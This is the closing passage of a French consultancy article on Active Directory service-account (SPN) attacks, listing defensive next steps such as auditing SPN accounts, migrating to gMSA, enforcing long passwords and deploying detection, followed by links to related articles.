Prochaines Étapes Recommandées

1. **Audit immédiat** : Identifier tous les comptes avec SPN dans votre domaine avec notre guide des outils d'audit AD
2. **Priorisation** : Classer les comptes par criticité (privilèges, sensibilité des données)
3. **Plan de migration gMSA** : Établir une roadmap de migration avec tests en environnement de dev/test
4. **Renforcement immédiat** : Pour les comptes non migrables, forcer des mots de passe de 30+ caractères
5. **Déploiement de la détection** : Configurer SIEM et Microsoft Defender for Identity
6. **Formation des équipes** : Sensibiliser les équipes IT et SOC à cette menace

Articles Connexes

Pour approfondir vos connaissances sur les attaques Active Directory et les stratégies de défense :

- AS-REP Roasting : Exploitation des Comptes sans Pré-authentification
- Golden Ticket : Persistance Ultime dans Active Directory

- Top 10 des Attaques Active Directory en 2025
- Guide Complet de Sécurisation Active Directory 2025
- Nos Services d'Audit Active Directory

← Retour au Top 10 des Attaques AD Article suivant : AS-REP Roasting →

Ayi NEDJIMI Consultants — Expert cybersécurité offensive & intelligence artificielle

ayinedjimi-consultants.fr · ayi@ayinedjimi-consultants.fr